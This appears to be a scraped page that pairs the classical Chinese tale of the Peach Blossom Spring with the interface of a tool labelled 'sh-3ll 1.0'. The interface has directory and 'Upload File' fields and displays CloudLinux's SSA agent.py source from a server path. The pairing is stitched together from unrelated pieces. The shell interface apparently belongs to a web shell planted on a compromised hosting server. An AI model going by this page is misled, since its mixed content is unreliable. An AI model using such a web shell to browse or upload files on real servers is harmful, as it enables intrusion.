晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/opt/cloudlinux/venv/lib64/python3.11/site-packages/ssa/
Upload File :
Current File : //opt/cloudlinux/venv/lib64/python3.11/site-packages/ssa/agent.py
# -*- coding: utf-8 -*-

# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2021 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT

"""
This module contains contains classes implementing SSA Agent behaviour
"""
import atexit
import json
import logging
import socket as socket_module
import struct
from concurrent.futures import ThreadPoolExecutor
from threading import current_thread
from .internal.constants import agent_sock
from .internal.exceptions import SSAError
from .internal.utils import create_socket
from .modules.processor import RequestProcessor

# Maximum number of concurrent worker threads for handling requests.
# Limits memory usage on high-traffic servers.
MAX_WORKERS = 50


class SimpleAgent:
    """
    SSA Simple Agent class
    """

    def __init__(self):
        self.logger = logging.getLogger('agent')
        self.request_processor = RequestProcessor()
        self.executor = ThreadPoolExecutor(max_workers=MAX_WORKERS)
        atexit.register(self._shutdown)
        # start serving incoming connections
        self.listen()

    def _shutdown(self):
        """Gracefully shutdown the thread pool executor."""
        self.executor.shutdown(wait=False)

    def listen(self) -> None:
        """
        Start listening socket
        """
        _socket = create_socket(agent_sock)
        while True:
            connection, address = _socket.accept()
            self.executor.submit(self.handle, connection)
            self.logger.debug('[ThreadPool] Submitted task')

    # Fields that the PHP extension sends (see dump.c: ssa_agent_dump)
    _REQUIRED_FIELDS = frozenset({
        'timestamp', 'url', 'duration',
        'hitting_limits', 'throttled_time', 'io_throttled_time', 'wordpress'
    })

    @staticmethod
    def _get_peer_uid(connection: 'socket object') -> int:
        """
        Get the UID of the peer process using SO_PEERCRED.
        :param connection: socket object
        :return: UID of the connecting process
        """
        cred = connection.getsockopt(
            socket_module.SOL_SOCKET,
            socket_module.SO_PEERCRED,
            struct.calcsize('3i')
        )
        _pid, uid, _gid = struct.unpack('3i', cred)
        return uid

    @classmethod
    def _validate_input(cls, data: dict) -> bool:
        """
        Validate that input data contains exactly the expected metric fields.
        The PHP extension always sends all 7 fields (see dump.c), so we
        require an exact match to reject both unknown and partial payloads.
        """
        if not isinstance(data, dict) or not data:
            return False
        return set(data.keys()) == cls._REQUIRED_FIELDS

    def handle(self, connection: 'socket object') -> None:
        """
        Handle incoming connection
        :param connection: socket object usable to
        send and receive data on the connection
        """
        try:
            peer_uid = self._get_peer_uid(connection)
        except (OSError, struct.error) as e:
            self.logger.error(
                '[%s] Failed to get peer credentials: %s',
                current_thread().name, str(e))
            connection.close()
            return

        fileobj = connection.makefile(errors='ignore')
        try:
            input_data = self.read_input(fileobj)
            if not self._validate_input(input_data):
                self.logger.warning(
                    '[%s] Rejected invalid payload from UID=%d: keys=%s',
                    current_thread().name, peer_uid,
                    sorted(input_data.keys()) if isinstance(input_data, dict) else type(input_data).__name__)
                return
            self.request_processor.handle(input_data)
        except (SSAError, json.JSONDecodeError, ValueError) as e:
            self.logger.error('Handled exception in [%s]: %s',
                              current_thread().name, str(e))
        except Exception as e:
            self.logger.exception('Unexpected exception in [%s]: %s',
                                  current_thread().name, str(e))
        finally:
            fileobj.close()
            connection.close()

    def read_input(self, fileio: 'file object') -> dict:
        """
        Read input data and return decoded json
        :param fileio: a file-like object providing read method
        """
        data = fileio.read()
        self.logger.info('[%s] I received %i bytes: %s',
                         current_thread().name, len(data.encode()),
                         data)
        if data:
            return json.loads(data.strip(), strict=False)
        else:
            return {}